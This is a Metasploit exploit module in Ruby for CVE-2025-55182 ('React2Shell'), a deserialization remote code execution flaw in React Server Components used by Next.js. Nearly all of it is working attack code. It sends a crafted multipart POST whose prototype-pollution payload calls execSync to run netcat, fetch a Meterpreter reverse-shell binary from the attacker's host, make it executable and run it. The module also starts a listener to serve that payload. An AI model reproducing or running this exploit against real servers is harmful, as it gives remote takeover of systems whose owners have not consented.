## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # This payload is configured for: # msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf # # This code exploits React2Shell, a remote code execution vulnerability in React Server Components (RSC) that affects Next.js applications. # require 'msf/core' require 'socket' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'RSC data deseriealized in an unsafe way leading to RCE', 'Description' => 'The server processes RSC (React Server Components) data in an unsafe manner leading' \ 'to remote code execution in Next.js and others', 'Author' => [ 'Marshall Whittaker', # exploit author 'Lachlan Davidson' # original discoverer and poc ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => [ARCH_X86], 'References' => [ ['URL', 'https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc/tree/main'], ['URL', 'https://oxasploits.com/exploits/cve-2025-55182-RSC-deserialization-to-rce-react4-shell.rb/'], ['URL', 'https://react2shell.com/'], ['CVE', '2025-55182'], ['CWE', '502'] ], 'Targets' => [ ['React Server Components <= 19.2.0', { 'Privileged' => true }] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' # lets use a x86 meterpreter rev (others may work) }, 'Payload' => { 'Format' => 'elf', # we need a whole executable for this, we use elf on linux 'Platform' => 'unix' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] }, 'DisclosureDate' => '2025-12-3', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(3000), OptString.new('RHOST', [true, "The target machine's IP", '']), OptString.new('LHOST', [true, "This machine's IP", '']), OptInt.new('LSERVPORT', [true, 'The port to listen on for pushing the payload', 6789]) ], self.class ) register_advanced_options([ OptBool.new('HANDLER', [true, 'Start an exploit/multi/handler job to receive the connection', true]) ]) deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL') end def listen(pload, lsp) print_status('Starting payload push socket...') serv = TCPServer.new(lsp) s = serv.accept s.write(pload) s.close end def exploit rhst = datastore['RHOST'] rprt = datastore['RPORT'] lhst = datastore['LHOST'] lsprt = datastore['LSERVPORT'] if rhst == '' || rprt == '' || lhst == '' || lsprt == '' fail_with(Failure::BadConfig, 'You need to set RHOST, RPORT, LHOST, and LSRVPORT properly.') end print_status('Generating payload...') pay = framework.modules.create(datastore['payload']) pay.datastore['LHOST'] = datastore['LHOST'] pay.datastore['RHOST'] = datastore['RHOST'] pay.datastore['LPORT'] = datastore['LPORT'] dropit = pay.generate_simple({ 'Format' => 'elf' }) fail_with(Failure::PayloadFailed, 'Payload generation failed! Try a different payload?') if dropit == '' print_good('Payload generated!') Thread.new do listen(dropit, lsprt) end targexe = "/tmp/shell#{rand(2000)}" print_status('Generating JSON string to call execSync...') payl = %({"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{\\"then\\": \\"$B0\\"}","_response": {"_prefix": "process.mainModule.require('child_process').execSync('nc -q 1 #{lhst} #{lsprt} > #{targexe}; sleep 1; chmod 777 #{targexe}; #{targexe}');","_formData": {"get": "$1:constructor:constructor"}}}).squish payb = %("$@0") print_status('Starting HTTP client...') uri = URI("http://#{rhst}:#{rprt}") http = Net::HTTP.new(uri.host, uri.port) http.read_timeout = 1 begin http.start request = Net::HTTP::Post.new(uri) request['Next-Action'] = 'oxagast' boundary = "--#{rand(1_000_000)}" request.content_type = "multipart/form-data; boundary=#{boundary}" body = [] body << "--#{boundary}" body << 'Content-Disposition: form-data; name="0"' body << '' body << payl body << "--#{boundary}" body << 'Content-Disposition: form-data; name="1"' body << '' body << payb body << "--#{boundary}--" body << '' request.body = body.join("\r\n") http.request(request) rescue Net::ReadTimeout => e print_good("Killing client since it won't receive a reply...") print_status('Fuck b1tch3s get m0n3y... :P') http.finish end rescue StandardError => e puts "An error occurred: #{e.message}" ensure http.finish if http.started? end end